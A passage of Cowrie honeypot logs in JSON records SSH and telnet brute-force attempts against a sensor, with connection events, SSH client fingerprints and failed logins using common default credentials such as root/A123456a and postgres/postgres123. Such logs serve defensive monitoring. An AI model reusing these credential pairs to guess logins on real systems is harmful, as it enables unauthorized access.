0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:59.581057Z","src_ip":"165.154.137.186","session":"5809d2321b8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:59.944015Z","src_ip":"165.154.137.186","session":"225695674ca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:00.414542Z","src_ip":"165.154.137.186","session":"5809d2321b8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:00.463228Z","src_ip":"165.154.137.186","session":"6f115bf85276","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:01.710166Z","src_ip":"165.154.137.186","session":"5809d2321b8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":44060,"dst_ip":"159.203.135.109","dst_port":22,"session":"35e57524de56","protocol":"ssh","message":"New connection: 103.27.238.114:44060 (159.203.135.109:22) [session: 35e57524de56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:07.008912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:07.013686Z","src_ip":"103.27.238.114","session":"35e57524de56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:07.280532Z","src_ip":"103.27.238.114","session":"35e57524de56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"32103210","message":"login attempt [root/32103210] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:08.076354Z","src_ip":"103.27.238.114","session":"35e57524de56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:09.342660Z","src_ip":"103.27.238.114","session":"35e57524de56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":42330,"dst_ip":"10.17.0.5","dst_port":22,"session":"f12769ef68b6","protocol":"ssh","message":"New connection: 165.154.137.186:42330 (10.17.0.5:22) [session: f12769ef68b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:13.330598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:13.335828Z","src_ip":"165.154.137.186","session":"f12769ef68b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:13.609909Z","src_ip":"165.154.137.186","session":"f12769ef68b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:14.427818Z","src_ip":"165.154.137.186","session":"f12769ef68b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:15.702170Z","src_ip":"165.154.137.186","session":"f12769ef68b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.006622076034546,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:15.945087Z","src_ip":"170.64.224.25","session":"b02174b67a2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":41460,"dst_ip":"10.17.0.5","dst_port":22,"session":"88a249b28c84","protocol":"ssh","message":"New connection: 8.210.75.243:41460 (10.17.0.5:22) [session: 88a249b28c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:18.384742Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":59966,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c8b8586a2c1","protocol":"telnet","message":"New connection: 170.64.224.25:59966 (159.203.135.109:23) [session: 5c8b8586a2c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:34.746354Z"}
{"eventid":"cowrie.session.closed","duration":102.14719605445862,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:35.832127Z","src_ip":"170.64.224.25","session":"b24614e6ad09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":50264,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab06726ca178","protocol":"ssh","message":"New connection: 51.250.105.222:50264 (10.17.0.5:22) [session: ab06726ca178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:39.211621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:39.215978Z","src_ip":"51.250.105.222","session":"ab06726ca178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:39.337781Z","src_ip":"51.250.105.222","session":"ab06726ca178","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:39.706903Z","src_ip":"51.250.105.222","session":"ab06726ca178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:40.831658Z","src_ip":"51.250.105.222","session":"ab06726ca178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:49.304332Z","src_ip":"8.210.75.243","session":"29dff60b8be8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58908,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f60f573f1a0","protocol":"ssh","message":"New connection: 165.154.137.186:58908 (10.17.0.5:22) [session: 7f60f573f1a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:50.176402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:50.180411Z","src_ip":"165.154.137.186","session":"7f60f573f1a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36636,"dst_ip":"10.17.0.5","dst_port":22,"session":"735f1527aa69","protocol":"ssh","message":"New connection: 165.154.137.186:36636 (10.17.0.5:22) [session: 735f1527aa69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:50.275126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:50.279156Z","src_ip":"165.154.137.186","session":"735f1527aa69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:50.457957Z","src_ip":"165.154.137.186","session":"7f60f573f1a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:50.532175Z","src_ip":"165.154.137.186","session":"735f1527aa69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:51.292981Z","src_ip":"165.154.137.186","session":"7f60f573f1a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:51.296974Z","src_ip":"165.154.137.186","session":"735f1527aa69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:52.552073Z","src_ip":"165.154.137.186","session":"735f1527aa69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:00:52.573034Z","src_ip":"165.154.137.186","session":"7f60f573f1a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36696,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bc25a709c2b","protocol":"ssh","message":"New connection: 165.154.137.186:36696 (10.17.0.5:22) [session: 2bc25a709c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:02.661547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:02.665621Z","src_ip":"165.154.137.186","session":"2bc25a709c2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:02.936634Z","src_ip":"165.154.137.186","session":"2bc25a709c2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:03.749404Z","src_ip":"165.154.137.186","session":"2bc25a709c2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":37022,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab589bfa6665","protocol":"ssh","message":"New connection: 143.20.185.207:37022 (10.17.0.5:22) [session: ab589bfa6665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:04.560597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:04.572591Z","src_ip":"143.20.185.207","session":"ab589bfa6665","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:04.689877Z","src_ip":"143.20.185.207","session":"ab589bfa6665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:05.021548Z","src_ip":"165.154.137.186","session":"2bc25a709c2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSA4VCPU16GBAMD","message":"login attempt [root/RASYAXINSA4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:05.243808Z","src_ip":"143.20.185.207","session":"ab589bfa6665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:06.361073Z","src_ip":"143.20.185.207","session":"ab589bfa6665","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36706,"dst_ip":"10.17.0.5","dst_port":22,"session":"24a4cfa10644","protocol":"ssh","message":"New connection: 165.154.137.186:36706 (10.17.0.5:22) [session: 24a4cfa10644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:06.400969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:06.404756Z","src_ip":"165.154.137.186","session":"24a4cfa10644","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh